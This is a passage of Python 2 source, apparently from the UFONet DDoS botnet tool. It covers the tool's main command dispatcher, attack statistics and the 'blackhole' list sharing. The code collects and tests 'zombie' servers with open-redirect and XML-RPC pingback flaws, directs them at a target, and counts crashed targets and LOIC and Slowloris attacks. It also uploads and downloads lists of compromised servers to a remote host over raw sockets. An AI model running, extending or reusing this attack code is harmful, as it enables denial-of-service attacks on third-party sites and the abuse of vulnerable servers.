  594. for z in zombies_found:
  595. if z.endswith(os.linesep):
  596. z = z.replace(os.linesep, "")
  597. if z not in zz and z+os.linesep not in zz:
  598. new_zombies = new_zombies + 1
  599. all_zombies_found.append(z)
  600. print '='*62
  601. print "\n- Victims found:", len(all_zombies_found), "\n"
  602. print " - Restored:", total_restored
  603. print " - Dorked:", len(all_zombies_found) - total_restored, "\n"
  604. print '-'*32
  605. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  606. print '='*62 + '\n'
  607. if len(zombies_found) > 0:
  608. if not self.options.forceyes:
  609. check_backup_reply = raw_input("Want to save results for a future search? (Y/n)\n")
  610. print '-'*25
  611. else:
  612. check_backup_reply = "Y"
  613. if check_backup_reply == "n" or check_backup_reply == "N":
  614. if os.path.isfile(self.humans_file):
  615. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  616. print "\n[Info] Temporal data correctly removed...\n"
  617. else:
  618. with open(self.humans_file, "w") as f:
  619. for z in all_zombies_found:
  620. if z.endswith(os.linesep):
  621. z = z.replace(os.linesep, "")
  622. if z not in zz or z+os.linesep not in zz:
  623. f.write(z+os.linesep)
  624. f.close()
  625. print "\n[Info] Correctly saved at: 'botnet/humans.txt'\n"
  626. print '-'*25 + "\n"
  627. if new_zombies and new_zombies > 0:
  628. if not self.options.forceyes:
  629. check_url_link_reply = raw_input("Want to check if NEW possible zombies are valid? (Y/n)\n")
  630. print '-'*25 + "\n"
  631. else:
  632. check_url_link_reply = "Y"
  633. if check_url_link_reply == "n" or check_url_link_reply == "N":
  634. print "Bye!\n"
  635. pass
  636. else:
  637. print "\n" + '='*44
  638. test = self.testing(all_zombies_found)
  639. else:
  640. print "[Info] NOT any NEW possible zombies found... Exiting!\n"
  641. except Exception:
  642. print ("[Error] - Something wrong (auto)searching...\n")
  643. # test web 'zombie' servers -> show statistics
  644. if options.test:
  645. try:
  646. self.banner()
  647. zombies = self.extract_zombies()
  648. if not zombies:
  649. return
  650. test = self.testing(zombies)
  651. self.update_missions_stats() # update mothership missions stats
  652. except Exception:
  653. print ("\n[Error] - Something wrong testing!\n")
  654. traceback.print_exc()
  655. # test XML-'rpc' pingback vulnerable servers -> update list
  656. if options.testrpc:
  657. try:
  658. self.banner()
  659. rpcs = self.extract_rpcs()
  660. if not rpcs:
  661. return
  662. testrpc = self.testing_rpcs(rpcs)
  663. self.update_missions_stats() # update mothership missions stats
  664. except Exception:
  665. print ("\n[Error] - Something wrong testing XML-RPC servers!\n")
  666. traceback.print_exc()
  667. # check botnet searching for zombies offline
  668. if options.testoffline:
  669. try:
  670. self.banner()
  671. testbotnet = self.testing_offline()
  672. self.update_missions_stats() # update mothership missions stats
  673. except Exception:
  674. print ("\n[Error] - Something wrong checking for offline 'zombies'!\n")
  675. traceback.print_exc()
  676. # check ALL botnet status
  677. if options.testall:
  678. try:
  679. self.banner()
  680. test_all_botnet = self.testing_all()
  681. self.update_missions_stats() # update mothership missions stats
  682. except Exception:
  683. print ("\n[Error] - Something wrong testing ALL botnet status!\n")
  684. traceback.print_exc()
  685. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a target
  686. if options.target:
  687. try:
  688. self.banner()
  689. zombies = self.extract_zombies()
  690. if not zombies:
  691. return
  692. attack = self.attacking(zombies)
  693. self.update_missions_stats() # update mothership missions stats
  694. except Exception:
  695. print ("\n[Error] - Something wrong attacking!\n")
  696. traceback.print_exc()
  697. # inspect target -> inspect target's components sizes
  698. if options.inspect:
  699. try:
  700. self.banner()
  701. print("\nInspecting target to find the best place to attack... SSssh!\n")
  702. print '='*22 + '\n'
  703. self.instance = Inspector(self) # instance main class for inspection operations
  704. inspection = self.instance.inspecting(options.inspect)
  705. self.update_missions_stats() # update mothership missions stats
  706. except Exception, e:
  707. traceback.print_exc()
  708. print ("\n[Error] - Something wrong inspecting... Not any object found!\n")
  709. return #sys.exit(2)
  710. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  711. if options.abduction:
  712. try:
  713. self.banner()
  714. print("\nAbducting target to extract interesting information... Be patient!\n")
  715. print '='*22 + '\n'
  716. self.instance = Abductor(self) # instance main class for abduction operations
  717. abduction = self.instance.abducting(options.abduction)
  718. self.update_missions_stats() # update mothership missions stats
  719. except Exception, e:
  720. traceback.print_exc()
  721. print ("\n[Error] - Something wrong abducting... Not any data stream found!\n")
  722. return #sys.exit(2)
  723. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  724. if options.attackme:
  725. try:
  726. self.banner()
  727. print("\nOrdering 'zombies' to attack you for benchmarking ;-)\n")
  728. print("[Warning] You are going to reveal your real IP to your zombies...\n")
  729. if not self.options.forceyes:
  730. update_reply = raw_input("Want to continue? (Y/n)")
  731. else:
  732. update_reply = "Y"
  733. if update_reply == "n" or update_reply == "N":
  734. print "\n[Info] Aborting 'Attack-Me' test... Bye!\n"
  735. return
  736. self.mothership_ids = [] # generating name/id for your mothership ;-)
  737. f = open(self.motherships_file)
  738. motherships = f.readlines()
  739. f.close()
  740. for ship in motherships:
  741. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  742. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()))
  743. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  744. print "\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash
  745. f = open("alien", "w") # generate random alien worker
  746. f.write(str(self.mothership_hash))
  747. f.close()
  748. print("\nChecking NAT/IP configuration:\n")
  749. nat = self.check_nat()
  750. if self.nat_error_flag == "ON":
  751. return
  752. zombies = self.extract_zombies()
  753. if not zombies:
  754. return
  755. attackme = self.attackme(zombies)
  756. self.update_missions_stats() # update mothership missions stats
  757. except Exception, e:
  758. traceback.print_exc()
  759. print ("\n[Error] - Something wrong redirecting 'zombies' against you...\n")
  760. return #sys.exit(2)
  761. # # crawl target -> crawl target's places
  762. # if options.crawl:
  763. # try:
  764. # self.banner()
  765. # print("\nCrawlering target's links to discover web structure...\n")
  766. # print '='*22 + '\n'
  767. # crawler = self.crawlering()
  768. # except Exception, e:
  769. # print ("[Error] - Something wrong crawlering!\n")
  770. # return #sys.exit(2)
  771. # check/update for latest stable version
  772. if options.update:
  773. self.banner()
  774. try:
  775. print("\nTrying to update automatically to the latest stable version\n")
  776. Updater()
  777. except:
  778. print("\nSomething was wrong!. To have working this feature, you should clone UFONet with:\n")
  779. print("$ git clone https://github.com/epsylon/ufonet\n")
  780. # launch GUI/Web interface
  781. if options.web:
  782. self.create_web_interface()
  783. return
  784. # generate 'blackhole' server to share 'zombies'
  785. if options.blackhole is not None:
  786. self.banner()
  787. try:
  788. blackhole_lib = os.path.abspath(os.path.join('..', 'server')) # add 'blackhole' lib
  789. sys.path.append(blackhole_lib)
  790. from server.blackhole import BlackHole
  791. print("\nInitiating void generation sequence...\n")
  792. print '='*22 + '\n'
  793. app = BlackHole()
  794. app.start()
  795. while True: time.sleep(1)
  796. except KeyboardInterrupt:
  797. print("\nTerminating void generation sequence...\n")
  798. app.collapse()
  799. except Exception, e:
  800. print "[Error] "+str(e)
  801. print("\nSomething was wrong generating 'blackhole'. Aborting...\n")
  802. # download list of 'zombies' from a 'blackhole' IP
  803. if options.dip is not None:
  804. options.download = True
  805. self.blackhole = options.dip
  806. # download list of 'zombies' from server
  807. if options.download:
  808. try:
  809. self.banner()
  810. if options.dip is not None:
  811. print("\nDownloading list of 'zombies' from server "+self.blackhole+" ...\n")
  812. else:
  813. print("\nDownloading list of 'zombies' from server ...\n")
  814. print '='*22 + '\n'
  815. download_list = self.downloading_list()
  816. except Exception, e:
  817. print ("[Error] - Something wrong downloading!\n")
  818. return #sys.exit(2)
  819. # upload list of 'zombies' to a 'blackhole' IP
  820. if options.upip is not None:
  821. options.upload = True
  822. self.blackhole = options.upip
  823. # upload list of 'zombies' to server
  824. if options.upload:
  825. try:
  826. self.banner()
  827. if options.upip is not None:
  828. print("\nUploading list of 'zombies' to server "+self.blackhole+" ...\n")
  829. else:
  830. print("\nUploading list of 'zombies' to server ...\n")
  831. print '='*22 + '\n'
  832. upload_list = self.uploading_list()
  833. except Exception, e:
  834. print ("[Error] - Something wrong uploading!\n"+str(e))
  835. traceback.print_exc()
  836. return #sys.exit(2)
  837. # starting new zombie thread
  838. def connect_zombies(self, zombie):
  839. z=Zombie(self, zombie)
  840. t = threading.Thread(target=z.connect, name=zombie)
  841. t.start()
  842. # single connection handling
  843. def connect_zombie(self, zombie):
  844. z=Zombie(self,zombie)
  845. return z.connect()
  846. def extract_proxy(self, proxy):
  847. sep = ":"
  848. proxy_ip = proxy.rsplit(sep, 1)[0]
  849. if proxy_ip.startswith('http://'):
  850. proxy_ip = proxy_ip.replace('http://', '')
  851. elif proxy_ip.startswith('https://'):
  852. proxy_ip = proxy_ip.replace('https://', '')
  853. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  854. proxy_ip = 'localhost'
  855. proxy_port = proxy.rsplit(sep, 1)[1]
  856. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  857. return proxy_url
  858. def proxy_transport(self, proxy):
  859. proxy_url = self.extract_proxy(proxy)
  860. proxy = urllib2.ProxyHandler({'https': proxy_url})
  861. opener = urllib2.build_opener(proxy)
  862. urllib2.install_opener(opener)
  863. def check_mothership_chargo(self):
  864. f = open(self.zombies_file)
  865. self.zombies = f.readlines()
  866. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  867. self.list_zombies = []
  868. for zombie in self.zombies:
  869. t = urlparse(zombie)
  870. name_zombie = t.netloc
  871. self.list_zombies.append(name_zombie)
  872. self.num_zombies = str(len(self.zombies))
  873. f.close()
  874. f = open(self.aliens_file)
  875. self.aliens = f.readlines()
  876. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  877. self.list_aliens = []
  878. for alien in self.aliens:
  879. t = urlparse(alien)
  880. name_alien = t.netloc
  881. self.list_aliens.append(name_alien)
  882. self.num_aliens = str(len(self.aliens))
  883. f.close()
  884. f = open(self.droids_file)
  885. self.droids = f.readlines()
  886. self.droids = [droid.replace('\n', '') for droid in self.droids]
  887. self.list_droids = []
  888. for droid in self.droids:
  889. t = urlparse(droid)
  890. name_droid = t.netloc
  891. self.list_droids.append(name_droid)
  892. self.num_droids = str(len(self.droids))
  893. f.close()
  894. f = open(self.ucavs_file)
  895. self.ucavs = f.readlines()
  896. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  897. self.list_ucavs = []
  898. for ucav in self.ucavs:
  899. t = urlparse(ucav)
  900. name_ucav = t.netloc
  901. self.list_ucavs.append(name_ucav)
  902. self.num_ucavs = str(len(self.ucavs))
  903. f.close()
  904. f = open(self.rpcs_file)
  905. self.rpcs = f.readlines()
  906. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  907. self.list_rpcs = []
  908. for rpc in self.rpcs:
  909. t = urlparse(rpc)
  910. name_rpc = t.netloc
  911. self.list_rpcs.append(name_rpc)
  912. self.num_rpcs = str(len(self.rpcs))
  913. f.close()
  914. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  915. return self.total_botnet
  916. def update_flying_stats(self):
  917. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  918. with open(self.mothership_stats_file, "w") as f:
  919. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "crashed": "0"}, f, indent=4) # starting reset
  920. stats_json_file = open(self.mothership_stats_file, "r")
  921. data = json.load(stats_json_file)
  922. stats_json_file.close()
  923. aflying = data["flying"]
  924. aflying = str(int(aflying) + 1) # add new flying time
  925. data["flying"] = aflying
  926. stats_json_file = open(self.mothership_stats_file, "w+")
  927. stats_json_file.write(json.dumps(data))
  928. stats_json_file.close()
  929. def update_mothership_stats(self):
  930. stats_json_file = open(self.mothership_stats_file, "r")
  931. data = json.load(stats_json_file)
  932. stats_json_file.close()
  933. acompleted = data["completed"]
  934. acompleted = str(int(acompleted) + 1) # add new completed attack
  935. data["completed"] = acompleted
  936. stats_json_file = open(self.mothership_stats_file, "w+")
  937. stats_json_file.write(json.dumps(data))
  938. stats_json_file.close()
  939. def update_targets_crashed(self):
  940. stats_json_file = open(self.mothership_stats_file, "r")
  941. data = json.load(stats_json_file)
  942. stats_json_file.close()
  943. tcrashed = data["crashed"]
  944. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  945. data["crashed"] = tcrashed
  946. stats_json_file = open(self.mothership_stats_file, "w+")
  947. stats_json_file.write(json.dumps(data))
  948. stats_json_file.close()
  949. def update_missions_stats(self):
  950. stats_json_file = open(self.mothership_stats_file, "r")
  951. data = json.load(stats_json_file)
  952. stats_json_file.close()
  953. missions = data["missions"]
  954. missions = str(int(missions) + 1) # add new mission target
  955. data["missions"] = missions
  956. stats_json_file = open(self.mothership_stats_file, "w+")
  957. stats_json_file.write(json.dumps(data))
  958. stats_json_file.close()
  959. def update_scanner_stats(self, num):
  960. stats_json_file = open(self.mothership_stats_file, "r")
  961. data = json.load(stats_json_file)
  962. stats_json_file.close()
  963. scanner = data["scanner"]
  964. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  965. data["scanner"] = scanner
  966. stats_json_file = open(self.mothership_stats_file, "w+")
  967. stats_json_file.write(json.dumps(data))
  968. stats_json_file.close()
  969. def update_transferred_stats(self, num):
  970. stats_json_file = open(self.mothership_stats_file, "r")
  971. data = json.load(stats_json_file)
  972. stats_json_file.close()
  973. transferred = data["transferred"]
  974. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  975. data["transferred"] = transferred
  976. stats_json_file = open(self.mothership_stats_file, "w+")
  977. stats_json_file.write(json.dumps(data))
  978. stats_json_file.close()
  979. def update_max_chargo(self, chargo):
  980. stats_json_file = open(self.mothership_stats_file, "r")
  981. data = json.load(stats_json_file)
  982. stats_json_file.close()
  983. amax_chargo = data["max_chargo"]
  984. if int(chargo) > int(amax_chargo): # new max chargo found
  985. amax_chargo = chargo # add new max chargo
  986. else:
  987. amax_chargo = data["max_chargo"]
  988. data["max_chargo"] = amax_chargo
  989. stats_json_file = open(self.mothership_stats_file, "w+")
  990. stats_json_file.write(json.dumps(data))
  991. stats_json_file.close()
  992. def update_loic_stats(self):
  993. stats_json_file = open(self.mothership_stats_file, "r")
  994. data = json.load(stats_json_file)
  995. stats_json_file.close()
  996. aloic = data["loic"]
  997. aloic = str(int(aloic) + 1) # add new loic attack
  998. data["loic"] = aloic
  999. stats_json_file = open(self.mothership_stats_file, "w+")
  1000. stats_json_file.write(json.dumps(data))
  1001. stats_json_file.close()
  1002. def update_loris_stats(self):
  1003. stats_json_file = open(self.mothership_stats_file, "r")
  1004. data = json.load(stats_json_file)
  1005. stats_json_file.close()
  1006. aloris = data["loris"]
  1007. aloris = str(int(aloris) + 1) # add new loris attack
  1008. data["loris"] = aloris
  1009. stats_json_file = open(self.mothership_stats_file, "w+")
  1010. stats_json_file.write(json.dumps(data))
  1011. stats_json_file.close()
  1012. def uploading_list(self):
  1013. import gzip
  1014. abductions = "abductions.txt.gz"
  1015. troops = "troops.txt.gz"
  1016. robots = "robots.txt.gz"
  1017. drones = "drones.txt.gz"
  1018. reflectors = "reflectors.txt.gz"
  1019. try:
  1020. print("Checking integrity of 'blackhole'...\n")
  1021. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/abductions.txt.gz',
  1022. abductions)
  1023. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/troops.txt.gz',
  1024. troops)
  1025. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/robots.txt.gz',
  1026. robots)
  1027. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/drones.txt.gz',
  1028. drones)
  1029. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/reflectors.txt.gz',
  1030. reflectors)
  1031. print("Vortex: IS READY!")
  1032. f_in_abductions = gzip.open(abductions, 'rb')
  1033. f_out_abductions = open('abductions.txt', 'wb')
  1034. f_out_abductions.write(f_in_abductions.read())
  1035. f_in_abductions.close()
  1036. f_out_abductions.close()
  1037. os.remove(abductions) # remove .gz file
  1038. num_zombies = 0
  1039. with open('abductions.txt') as f:
  1040. for _ in f:
  1041. num_zombies = num_zombies + 1
  1042. print("\n[Info] - 'Zombies' on 'blackhole': "+ str(num_zombies))
  1043. f_in_robots = gzip.open(robots, 'rb')
  1044. f_out_robots = open('robots.txt', 'wb')
  1045. f_out_robots.write(f_in_robots.read())
  1046. f_in_robots.close()
  1047. f_out_robots.close()
  1048. os.remove(robots) # remove .gz file
  1049. num_robots = 0
  1050. with open('robots.txt') as f:
  1051. for _ in f:
  1052. num_robots = num_robots + 1
  1053. print("[Info] - 'Droids' on 'blackhole' : "+ str(num_robots))
  1054. f_in_troops = gzip.open(troops, 'rb')
  1055. f_out_troops = open('troops.txt', 'wb')
  1056. f_out_troops.write(f_in_troops.read())
  1057. f_in_troops.close()
  1058. f_out_troops.close()
  1059. os.remove(troops) # remove .gz file
  1060. num_aliens = 0
  1061. with open(self.aliens_file) as f:
  1062. for _ in f:
  1063. num_aliens = num_aliens + 1
  1064. print("[Info] - 'Aliens' on 'blackhole' : "+ str(num_aliens))
  1065. f_in_drones = gzip.open(drones, 'rb')
  1066. f_out_drones = open('drones.txt', 'wb')
  1067. f_out_drones.write(f_in_drones.read())
  1068. f_in_drones.close()
  1069. f_out_drones.close()
  1070. os.remove(drones) # remove .gz file
  1071. num_drones = 0
  1072. with open('drones.txt') as f:
  1073. for _ in f:
  1074. num_drones = num_drones + 1
  1075. print("[Info] - 'Drones' on 'blackhole' : "+ str(num_drones))
  1076. f_in_reflectors = gzip.open(reflectors, 'rb')
  1077. f_out_reflectors = open('reflectors.txt', 'wb')
  1078. f_out_reflectors.write(f_in_reflectors.read())
  1079. f_in_reflectors.close()
  1080. f_out_reflectors.close()
  1081. os.remove(reflectors) # remove .gz file
  1082. num_reflectors = 0
  1083. with open('reflectors.txt') as f:
  1084. for _ in f:
  1085. num_reflectors = num_reflectors + 1
  1086. print("[Info] - 'X-RPCs' on 'blackhole' : "+ str(num_reflectors))
  1087. print '-'*12 + '\n'
  1088. if not self.options.forceyes:
  1089. update_reply = raw_input("Want to merge ONLY new 'zombies' into the server? (Y/n)")
  1090. print '-'*25
  1091. else:
  1092. update_reply = "Y"
  1093. if update_reply == "n" or update_reply == "N":
  1094. os.remove('abductions.txt') # remove abductions file
  1095. os.remove('troops.txt') # remove troops file
  1096. os.remove('robots.txt') # remove robots file
  1097. os.remove('drones.txt') # remove drones file
  1098. os.remove('reflectors.txt') # remove reflectors file
  1099. print "\n[Info] - Aborting upload process and cleaning temporal files. Bye!\n"
  1100. return
  1101. else:
  1102. print "\n[Info] - Checking integrity of your list of 'zombies'. Starting test!\n" # only upload valid zombies
  1103. print '='*35
  1104. zombies = self.extract_zombies()
  1105. if not zombies:
  1106. return
  1107. test = self.testing(zombies)
  1108. zombies_community = []
  1109. zombies_added = 0
  1110. f = open('abductions.txt')
  1111. abductions = f.readlines()
  1112. abductions = [abduction.strip() for abduction in abductions]
  1113. f.close()
  1114. fz = open(self.zombies_file)
  1115. zombies = fz.readlines()
  1116. zombies = [zombie.strip() for zombie in zombies]
  1117. fz.close()
  1118. for zombie in zombies:
  1119. if zombie not in abductions:
  1120. zombies_community.append(zombie)
  1121. zombies_added = zombies_added + 1
  1122. else:
  1123. pass
  1124. print("[Info] - New 'zombies' found: " + str(zombies_added))
  1125. aliens = self.extract_aliens()
  1126. if not aliens:
  1127. return
  1128. aliens_community = []
  1129. aliens_added = 0
  1130. f = open('troops.txt')
  1131. troops = f.readlines()
  1132. troops = [troop.strip() for troop in troops]
  1133. f.close()
  1134. fz = open(self.aliens_file)
  1135. aliens = fz.readlines()
  1136. aliens = [alien.strip() for alien in aliens]
  1137. fz.close()
  1138. for alien in aliens:
  1139. if alien not in troops:
  1140. aliens_community.append(alien)
  1141. aliens_added = aliens_added + 1
  1142. else:
  1143. pass
  1144. print("[Info] - New 'aliens' found : " + str(aliens_added))
  1145. droids = self.extract_droids()
  1146. if not droids:
  1147. return
  1148. droids_community = []
  1149. droids_added = 0
  1150. f = open('robots.txt')
  1151. robots = f.readlines()
  1152. robots = [robot.strip() for robot in robots]
  1153. f.close()
  1154. fz = open(self.droids_file)
  1155. droids = fz.readlines()
  1156. droids = [droid.strip() for droid in droids]
  1157. fz.close()
  1158. for droid in droids:
  1159. if droid not in robots:
  1160. droids_community.append(droid)
  1161. droids_added = droids_added + 1
  1162. else:
  1163. pass
  1164. print("[Info] - New 'droids' found : " + str(droids_added))
  1165. ucavs = self.extract_ucavs()
  1166. if not ucavs:
  1167. return
  1168. ucavs_community = []
  1169. ucavs_added = 0
  1170. f = open('drones.txt')
  1171. drones = f.readlines()
  1172. drones = [drone.strip() for drone in drones]
  1173. f.close()
  1174. fz = open(self.ucavs_file)
  1175. ucavs = fz.readlines()
  1176. ucavs = [ucav.strip() for ucav in ucavs]
  1177. fz.close()
  1178. for ucav in ucavs:
  1179. if ucav not in drones:
  1180. ucavs_community.append(ucav)
  1181. ucavs_added = ucavs_added + 1
  1182. else:
  1183. pass
  1184. print("[Info] - New 'drones' found : " + str(ucavs_added))
  1185. rpcs = self.extract_rpcs()
  1186. if not ucavs:
  1187. return
  1188. rpcs_community = []
  1189. rpcs_added = 0
  1190. f = open('reflectors.txt')
  1191. reflectors = f.readlines()
  1192. reflectors = [reflector.strip() for reflector in reflectors]
  1193. f.close()
  1194. fz = open(self.rpcs_file)
  1195. rpcs = fz.readlines()
  1196. rpcs = [rpc.strip() for rpc in rpcs]
  1197. fz.close()
  1198. for rpc in rpcs:
  1199. if rpc not in reflectors:
  1200. rpcs_community.append(rpc)
  1201. rpcs_added = rpcs_added + 1
  1202. else:
  1203. pass
  1204. print("[Info] - New 'X-RPCs' found : " + str(rpcs_added))
  1205. print '-'*12 + '\n'
  1206. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0: # not zombies of any type
  1207. os.remove('abductions.txt') # remove abductions file
  1208. os.remove('troops.txt') # remove troops file
  1209. os.remove('robots.txt') # remove robots file
  1210. os.remove('drones.txt') # remove ucavs file
  1211. os.remove('rpcs.txt') # remove rpcs file
  1212. print("[Info] - Hehehe.. You should try to search for new 'zombies'. These are already in this 'blackhole'. ;-)\n")
  1213. return
  1214. else:
  1215. fc = gzip.open('community_zombies.txt.gz', 'wb')
  1216. for zombie in zombies_community:
  1217. fc.write(zombie.strip()+"\n")
  1218. fc.close()
  1219. os.remove('abductions.txt') # remove abductions file
  1220. fc = gzip.open('community_aliens.txt.gz', 'wb')
  1221. for alien in aliens_community:
  1222. fc.write(alien.strip()+"\n")
  1223. fc.close()
  1224. os.remove('troops.txt') # remove troops file
  1225. fc = gzip.open('community_droids.txt.gz', 'wb')
  1226. for droid in droids_community:
  1227. fc.write(droid.strip()+"\n")
  1228. fc.close()
  1229. os.remove('robots.txt') # remove robots file
  1230. fc = gzip.open('community_ucavs.txt.gz', 'wb')
  1231. for ucav in ucavs_community:
  1232. fc.write(ucav.strip()+"\n")
  1233. fc.close()
  1234. os.remove('drones.txt') # remove drones file
  1235. fc = gzip.open('community_rpcs.txt.gz', 'wb')
  1236. for rpc in rpcs_community:
  1237. fc.write(rpc.strip()+"\n")
  1238. fc.close()
  1239. os.remove('reflectors.txt') # remove reflectors file
  1240. print("[Info] - Starting to upload new 'zombies'...\n")
  1241. try: # open a socket and send data to ufonet_community reciever
  1242. host = self.blackhole
  1243. cport = 9991
  1244. mport = 9990
  1245. try:
  1246. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1247. cs.connect((host, cport))
  1248. cs.send("SEND " + 'community_zombies.txt.gz')
  1249. cs.close()
  1250. f = open('community_zombies.txt.gz', "rb")
  1251. data = f.read()
  1252. f.close()
  1253. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1254. ms.connect((host, mport))
  1255. ms.send(data)
  1256. ms.close()
  1257. os.remove('community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1258. time.sleep(1)
  1259. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1260. cs.connect((host, cport))
  1261. cs.send("SEND " + 'community_aliens.txt.gz')
  1262. cs.close()
  1263. f = open('community_aliens.txt.gz', "rb")
  1264. data = f.read()
  1265. f.close()
  1266. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1267. ms.connect((host, mport))
  1268. ms.send(data)
  1269. ms.close()
  1270. os.remove('community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1271. time.sleep(1)
  1272. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1273. cs.connect((host, cport))
  1274. cs.send("SEND " + 'community_robots.txt.gz')
  1275. cs.close()
  1276. f = open('community_droids.txt.gz', "rb")
  1277. data = f.read()
  1278. f.close()
  1279. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1280. ms.connect((host, mport))
  1281. ms.send(data)
  1282. ms.close()
  1283. os.remove('community_droids.txt.gz') # remove local droids .gz file after transfer
  1284. time.sleep(1)
  1285. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1286. cs.connect((host, cport))
  1287. cs.send("SEND " + 'community_ucavs.txt.gz')
  1288. cs.close()
  1289. f = open('community_ucavs.txt.gz', "rb")
  1290. data = f.read()
  1291. f.close()
  1292. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1293. ms.connect((host, mport))
  1294. ms.send(data)
  1295. ms.close()
  1296. os.remove('community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1297. time.sleep(1)
  1298. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1299. cs.connect((host, cport))
  1300. cs.send("SEND " + 'community_rpcs.txt.gz')
  1301. cs.close()
  1302. f = open('community_rpcs.txt.gz', "rb")
  1303. data = f.read()
  1304. f.close()
  1305. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1306. ms.connect((host, mport))
  1307. ms.send(data)
  1308. ms.close()
  1309. os.remove('community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1310. time.sleep(2) # sleep a bit more
  1311. print '-'*12 + '\n'
  1312. print("[Info] - Transfer: DONE!. Thanks for your contribution ;-)\n")
  1313. except Exception, e:
  1314. print str(e) + "\n"
  1315. except:
  1316. print '-'*12 + '\n'
  1317. print("[Error] - Connecting sockets to 'blackhole'. Aborting!\n")
  1318. return
  1319. except:
  1320. print '-'*12 + '\n'
  1321. print("[Error] - Unable to upload list of 'zombies' to this 'blackhole'. ;(\n")
  1322. return #sys.exit(2)
  1323. def downloading_list(self): # add your mirror to protect/share/distribute zombies
  1324. import urllib, gzip
  1325. abductions = "abductions.txt.gz"
  1326. troops = "troops.txt.gz"
  1327. robots = "robots.txt.gz"
  1328. drones = "drones.txt.gz"
  1329. reflectors = "reflectors.txt.gz"
  1330. try:
  1331. print("Trying 'blackhole': "+self.blackhole+"\n")
  1332. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/abductions.txt.gz',
  1333. abductions)
  1334. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/troops.txt.gz',
  1335. troops)
  1336. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/robots.txt.gz',
  1337. robots)
  1338. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/drones.txt.gz',
  1339. drones)
  1340. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/reflectors.txt.gz',
  1341. reflectors)
  1342. print("Vortex: IS READY!")
  1343. except:
  1344. print("Vortex: FAILED!")
  1345. print '-'*12 + '\n'
  1346. print("[Error] - Unable to download list of 'zombies' from this 'blackhole'. ;(\n")
  1347. return #sys.exit(2)
  1348. print '-'*12 + '\n'
  1349. f_in_abductions = gzip.open(abductions, 'rb')
  1350. f_out_abductions = open('abductions.txt', 'wb')
  1351. f_out_abductions.write(f_in_abductions.read())
  1352. f_in_abductions.close()
  1353. f_out_abductions.close()
  1354. os.remove(abductions) # remove abductions .gz file
  1355. f_in_troops = gzip.open(troops, 'rb')
  1356. f_out_troops = open('troops.txt', 'wb')
  1357. f_out_troops.write(f_in_troops.read())
  1358. f_in_troops.close()
  1359. f_out_troops.close()
  1360. os.remove(troops) # remove troops .gz file
  1361. f_in_robots = gzip.open(robots, 'rb')
  1362. f_out_robots = open('robots.txt', 'wb')
  1363. f_out_robots.write(f_in_robots.read())
  1364. f_in_robots.close()
  1365. f_out_robots.close()
  1366. os.remove(robots) # remove abductions .gz file
  1367. f_in_drones = gzip.open(drones, 'rb')
  1368. f_out_drones = open('drones.txt', 'wb')
  1369. f_out_drones.write(f_in_drones.read())
  1370. f_in_drones.close()
  1371. f_out_drones.close()
  1372. os.remove(drones) # remove reflectors .gz file
  1373. f_in_reflectors = gzip.open(reflectors, 'rb')
  1374. f_out_reflectors = open('reflectors.txt', 'wb')
  1375. f_out_reflectors.write(f_in_reflectors.read())
  1376. f_in_reflectors.close()
  1377. f_out_reflectors.close()
  1378. os.remove(reflectors) # remove reflectors .gz file
  1379. num_abductions = 0
  1380. with open('abductions.txt') as f:
  1381. for _ in f:
  1382. num_abductions = num_abductions + 1
  1383. print("[Info] - Zombies: " + str(num_abductions))
  1384. num_robots = 0
  1385. with open('robots.txt') as f:
  1386. for _ in f:
  1387. num_robots = num_robots + 1
  1388. print("[Info] - Droids : " + str(num_robots))
  1389. num_troops = 0
  1390. with open('troops.txt') as f:
  1391. for _ in f:
  1392. num_troops = num_troops + 1
